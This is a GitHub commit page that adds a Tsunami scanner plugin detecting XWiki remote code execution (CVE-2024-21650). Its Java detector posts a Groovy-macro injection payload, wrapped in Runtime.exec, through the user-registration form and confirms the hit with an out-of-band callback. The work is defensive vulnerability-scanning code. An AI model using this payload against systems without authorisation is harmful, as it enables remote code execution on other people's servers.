-
Notifications
You must be signed in to change notification settings - Fork 180
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #387 from YuriyPobezhymov:cve202421650
PiperOrigin-RevId: 688909808 Change-Id: Ie6e93bb0e090d1b54201e01c4f4690dff6aff528
- Loading branch information
Showing
10 changed files
with
671 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
# XWiki RCE CVE-2024-21650 Detector | ||
|
||
XWiki Platform is a generic wiki platform offering runtime services for | ||
applications built on top of it. XWiki is vulnerable to a remote code execution | ||
(RCE) attack through its user registration feature. This issue allows an | ||
attacker to execute arbitrary code by crafting malicious payloads in the "first | ||
name" or "last name" fields during user registration. This impacts all | ||
installations that have user registration enabled for guests. This vulnerability | ||
has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1. See | ||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21650 for a details. | ||
|
||
## Build jar file for this plugin | ||
|
||
Using `gradlew`: | ||
|
||
```shell | ||
./gradlew jar | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
plugins { | ||
id 'java-library' | ||
} | ||
|
||
description = 'Tsunami XWiki RCE (CVE-2024-21650) VulnDetector plugin.' | ||
group = 'com.google.tsunami' | ||
version = '0.0.1-SNAPSHOT' | ||
|
||
repositories { | ||
maven { // The google mirror is less flaky than mavenCentral() | ||
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' | ||
} | ||
mavenCentral() | ||
mavenLocal() | ||
} | ||
|
||
java { | ||
sourceCompatibility = JavaVersion.VERSION_11 | ||
targetCompatibility = JavaVersion.VERSION_11 | ||
|
||
jar.manifest { | ||
attributes('Implementation-Title': name, | ||
'Implementation-Version': version, | ||
'Built-By': System.getProperty('user.name'), | ||
'Built-JDK': System.getProperty('java.version'), | ||
'Source-Compatibility': sourceCompatibility, | ||
'Target-Compatibility': targetCompatibility) | ||
} | ||
|
||
javadoc.options { | ||
encoding = 'UTF-8' | ||
use = true | ||
links 'https://docs.oracle.com/en/java/javase/11/' | ||
source = '11' | ||
} | ||
|
||
// Log stacktrace to console when test fails. | ||
test { | ||
testLogging { | ||
exceptionFormat = 'full' | ||
showExceptions true | ||
showCauses true | ||
showStackTraces true | ||
} | ||
maxHeapSize = '1500m' | ||
} | ||
} | ||
|
||
ext { | ||
tsunamiVersion = 'latest.release' | ||
junitVersion = '4.13.1' | ||
guiceVersion = '4.2.3' | ||
okhttpVersion = '3.12.0' | ||
truthVersion = '1.1.3' | ||
} | ||
|
||
dependencies { | ||
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" | ||
|
||
testImplementation "junit:junit:${junitVersion}" | ||
testImplementation "com.google.inject:guice:${guiceVersion}" | ||
testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" | ||
testImplementation "com.google.truth:truth:${truthVersion}" | ||
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
GENERATED_PLUGINS_PATH=~/tsunami/plugins/ | ||
./gradlew build | ||
cp ./build/libs/*.jar "${GENERATED_PLUGINS_PATH}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
rootProject.name = 'xwiki_cve_2024_21650' |
35 changes: 35 additions & 0 deletions
35
...1650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Annotations.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
/* | ||
* Copyright 2024 Google LLC | ||
* | ||
* Licensed under the Apache License, Version 2.0 (the "License"); | ||
* you may not use this file except in compliance with the License. | ||
* You may obtain a copy of the License at | ||
* | ||
* http://www.apache.org/licenses/LICENSE-2.0 | ||
* | ||
* Unless required by applicable law or agreed to in writing, software | ||
* distributed under the License is distributed on an "AS IS" BASIS, | ||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
* See the License for the specific language governing permissions and | ||
* limitations under the License. | ||
*/ | ||
package com.google.tsunami.plugins.detectors.rce.cve202421650; | ||
|
||
import static java.lang.annotation.ElementType.FIELD; | ||
import static java.lang.annotation.ElementType.METHOD; | ||
import static java.lang.annotation.ElementType.PARAMETER; | ||
|
||
import java.lang.annotation.Retention; | ||
import java.lang.annotation.RetentionPolicy; | ||
import java.lang.annotation.Target; | ||
import javax.inject.Qualifier; | ||
|
||
/** Annotation for {@link Cve202421650Detector}. */ | ||
final class Annotations { | ||
@Qualifier | ||
@Retention(RetentionPolicy.RUNTIME) | ||
@Target({PARAMETER, METHOD, FIELD}) | ||
@interface OobSleepDuration {} | ||
|
||
private Annotations() {} | ||
} |
261 changes: 261 additions & 0 deletions
261
...main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,261 @@ | ||
package com.google.tsunami.plugins.detectors.rce.cve202421650; | ||
|
||
import com.google.common.base.Preconditions; | ||
import com.google.common.collect.ImmutableList; | ||
import com.google.common.flogger.GoogleLogger; | ||
import com.google.common.util.concurrent.Uninterruptibles; | ||
import com.google.protobuf.ByteString; | ||
import com.google.protobuf.util.Timestamps; | ||
import com.google.tsunami.common.data.NetworkServiceUtils; | ||
import com.google.tsunami.common.net.http.HttpClient; | ||
import com.google.tsunami.common.net.http.HttpHeaders; | ||
import com.google.tsunami.common.net.http.HttpRequest; | ||
import com.google.tsunami.common.net.http.HttpResponse; | ||
import com.google.tsunami.common.net.http.HttpStatus; | ||
import com.google.tsunami.common.time.UtcClock; | ||
import com.google.tsunami.plugin.PluginType; | ||
import com.google.tsunami.plugin.VulnDetector; | ||
import com.google.tsunami.plugin.annotations.PluginInfo; | ||
import com.google.tsunami.plugin.payload.Payload; | ||
import com.google.tsunami.plugin.payload.PayloadGenerator; | ||
import com.google.tsunami.plugins.detectors.rce.cve202421650.Annotations.OobSleepDuration; | ||
import com.google.tsunami.proto.DetectionReport; | ||
import com.google.tsunami.proto.DetectionReportList; | ||
import com.google.tsunami.proto.DetectionStatus; | ||
import com.google.tsunami.proto.NetworkService; | ||
import com.google.tsunami.proto.PayloadGeneratorConfig; | ||
import com.google.tsunami.proto.Severity; | ||
import com.google.tsunami.proto.TargetInfo; | ||
import com.google.tsunami.proto.Vulnerability; | ||
import com.google.tsunami.proto.VulnerabilityId; | ||
import java.io.IOException; | ||
import java.nio.charset.StandardCharsets; | ||
import java.time.Clock; | ||
import java.time.Duration; | ||
import java.time.Instant; | ||
import java.util.Base64; | ||
import java.util.regex.Matcher; | ||
import java.util.regex.Pattern; | ||
import javax.inject.Inject; | ||
|
||
/** A {@link VulnDetector} that detects XWiki RCE CVE-2024-21650. */ | ||
@PluginInfo( | ||
type = PluginType.VULN_DETECTION, | ||
name = "XWiki RCE CVE-2024-21650 Detector", | ||
version = "0.1", | ||
description = "This detector checks for XWiki RCE via user registration (CVE-2024-21650).", | ||
author = "yuradoc ([email protected])", | ||
bootstrapModule = Cve202421650DetectorBootstrapModule.class) | ||
public final class Cve202421650Detector implements VulnDetector { | ||
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); | ||
|
||
private static final String REQUEST_PATH = "bin/register/XWiki/XWikiRegister"; | ||
|
||
private static final String PAYLOAD_PLACEHOLDER = | ||
"]]{{/html}}{{async}}{{groovy}}{{CMD}}{{/groovy}}{{/async}}"; | ||
|
||
private static final Pattern CSRF_TOKEN_PATTERN = | ||
Pattern.compile("form_token\" value=\"(.*?)\" />"); | ||
|
||
private static final String REQUEST_POST_DATA = | ||
"parent=xwiki:Main.UserDirectory®ister_first_name=" | ||
+ "{{PAYLOAD_PLACEHOLDER}}" | ||
+ "®ister_last_name=&xwikiname=" | ||
+ "{{USERNAME}}" | ||
+ "®ister_password=" | ||
+ "{{PASSWORD}}" | ||
+ "®ister2_password=" | ||
+ "{{PASSWORD}}" | ||
+ "®ister_email=" | ||
+ "&form_token={{TOKEN}}"; | ||
|
||
private static final String REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT = "Delete Me!"; | ||
|
||
private final Clock utcClock; | ||
private final HttpClient httpClient; | ||
private final PayloadGenerator payloadGenerator; | ||
private final int oobSleepDuration; | ||
|
||
Severity vulnSeverity = Severity.HIGH; | ||
|
||
@Inject | ||
Cve202421650Detector( | ||
@UtcClock Clock utcClock, | ||
HttpClient httpClient, | ||
PayloadGenerator payloadGenerator, | ||
@OobSleepDuration int oobSleepDuration) { | ||
this.utcClock = Preconditions.checkNotNull(utcClock); | ||
this.httpClient = Preconditions.checkNotNull(httpClient); | ||
this.payloadGenerator = Preconditions.checkNotNull(payloadGenerator); | ||
this.oobSleepDuration = oobSleepDuration; | ||
} | ||
|
||
@Override | ||
public DetectionReportList detect( | ||
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { | ||
logger.atInfo().log("Cve202421650Detector starts detecting."); | ||
|
||
return DetectionReportList.newBuilder() | ||
.addAllDetectionReports( | ||
matchedServices.stream() | ||
.filter(NetworkServiceUtils::isWebService) | ||
.filter(this::isServiceVulnerable) | ||
.map(networkService -> buildDetectionReport(targetInfo, networkService)) | ||
.collect(ImmutableList.toImmutableList())) | ||
.build(); | ||
} | ||
|
||
private String buildRandomString() { | ||
return Long.toHexString(this.utcClock.instant().toEpochMilli()); | ||
} | ||
|
||
private boolean isServiceVulnerable(NetworkService networkService) { | ||
String targetUri = | ||
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + REQUEST_PATH; | ||
|
||
Payload payload = null; | ||
String cmd = ""; | ||
if (payloadGenerator.isCallbackServerEnabled()) { | ||
// Prepare Linux shell RCE for using in payload with callback server. | ||
PayloadGeneratorConfig config = | ||
PayloadGeneratorConfig.newBuilder() | ||
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) | ||
.setInterpretationEnvironment( | ||
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) | ||
.setExecutionEnvironment( | ||
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) | ||
.build(); | ||
|
||
payload = payloadGenerator.generate(config); | ||
cmd = payload.getPayload(); | ||
} | ||
|
||
String requestUserName = "test" + buildRandomString(); | ||
|
||
String requestUserPassword = buildRandomString() + buildRandomString(); | ||
|
||
String responseString = "XWiki." + requestUserName + "]] (" + requestUserName + ")"; | ||
|
||
String requestCleanupPath = | ||
"rest/wikis/xwiki/spaces/XWiki/pages/" + requestUserName + "/objects/XWiki.XWikiUsers/0"; | ||
|
||
String targetCleanupUri = | ||
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + requestCleanupPath; | ||
|
||
String token = ""; | ||
|
||
// plain GET request to check user's registration page availability and retrieve csrf form's | ||
// token. | ||
try { | ||
HttpResponse response = | ||
httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build(), networkService); | ||
if (response.status().code() != HttpStatus.OK.code()) { | ||
return false; | ||
} | ||
|
||
// Parse the csrf value. | ||
Matcher csrfTokenMatcher = CSRF_TOKEN_PATTERN.matcher(response.bodyString().orElse("")); | ||
if (csrfTokenMatcher.find()) { | ||
token = csrfTokenMatcher.group(1); | ||
} | ||
|
||
if (token.isEmpty()) { | ||
return false; | ||
} | ||
} catch (IOException e) { | ||
logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri); | ||
} | ||
|
||
// Inject Groovy payload in the first name, pass csrf token, random strings for required fields | ||
// to form's POST data. | ||
String requestBody = | ||
REQUEST_POST_DATA | ||
.replace("{{USERNAME}}", requestUserName) | ||
.replace("{{PASSWORD}}", requestUserPassword) | ||
.replace("{{TOKEN}}", token) | ||
.replace("{{PAYLOAD_PLACEHOLDER}}", PAYLOAD_PLACEHOLDER) | ||
.replace("{{CMD}}", !cmd.isEmpty() ? "Runtime.getRuntime().exec(\"" + cmd + "\")" : ""); | ||
|
||
try { | ||
// Main request that performs vulnerability check. | ||
HttpResponse response = | ||
httpClient.send( | ||
HttpRequest.post(targetUri) | ||
.setHeaders( | ||
HttpHeaders.builder() | ||
.addHeader("Content-Type", "application/x-www-form-urlencoded") | ||
.build()) | ||
.setRequestBody(ByteString.copyFromUtf8(requestBody)) | ||
.build(), | ||
networkService); | ||
|
||
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); | ||
|
||
// Update the user's profile by changing the first name to notify the XWiki administrator for | ||
// account removal, as default settings prevent users from deleting their own profiles. | ||
httpClient.send( | ||
HttpRequest.put(targetCleanupUri) | ||
.setHeaders( | ||
HttpHeaders.builder() | ||
.addHeader("Content-Type", "application/x-www-form-urlencoded") | ||
.addHeader("Accept", "application/xml") | ||
.addHeader( | ||
"Authorization", | ||
"Basic " | ||
+ Base64.getEncoder() | ||
.encodeToString( | ||
(requestUserName + ":" + requestUserPassword) | ||
.getBytes(StandardCharsets.UTF_8))) | ||
.build()) | ||
.setRequestBody( | ||
ByteString.copyFromUtf8( | ||
"className=XWiki.XWikiUsers&property#first_name=" | ||
+ REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT)) | ||
.build(), | ||
networkService); | ||
|
||
// Try to use callback server for RCE confirmation and raise severity on success. | ||
// Otherwise, detect vulnerability through response body matching. | ||
if (payload != null && payload.checkIfExecuted()) { | ||
vulnSeverity = Severity.CRITICAL; | ||
logger.atInfo().log("The remote code execution was confirmed via an out-of-band callback."); | ||
return true; | ||
} else if (response.bodyString().isPresent() | ||
&& response.bodyString().get().contains(responseString)) { | ||
logger.atInfo().log( | ||
"Since the Tsunami Callback Server was not available, the vulnerability was confirmed" | ||
+ " through response matching."); | ||
return true; | ||
} | ||
} catch (IOException e) { | ||
logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri); | ||
} | ||
return false; | ||
} | ||
|
||
public DetectionReport buildDetectionReport( | ||
TargetInfo targetInfo, NetworkService vulnerableNetworkService) { | ||
return DetectionReport.newBuilder() | ||
.setTargetInfo(targetInfo) | ||
.setNetworkService(vulnerableNetworkService) | ||
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) | ||
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) | ||
.setVulnerability( | ||
Vulnerability.newBuilder() | ||
.setMainId( | ||
VulnerabilityId.newBuilder() | ||
.setPublisher("TSUNAMI_COMMUNITY") | ||
.setValue("CVE-2024-21650")) | ||
.setSeverity(vulnSeverity) | ||
.setTitle("XWiki RCE (CVE-2024-21650)") | ||
.setDescription( | ||
"XWiki is vulnerable to a remote code execution (RCE) attack through its user " | ||
+ "registration feature. This issue allows an attacker to execute " | ||
+ "arbitrary code by crafting malicious payloads in the \"first name\" " | ||
+ "or \"last name\" fields during user registration. This impacts all " | ||
+ "installations that have user registration enabled for guests. This " | ||
+ "vulnerability has been patched in XWiki 14.10.17, 15.5.3 " | ||
+ "and 15.8 RC1.")) | ||
.build(); | ||
} | ||
} |
Oops, something went wrong.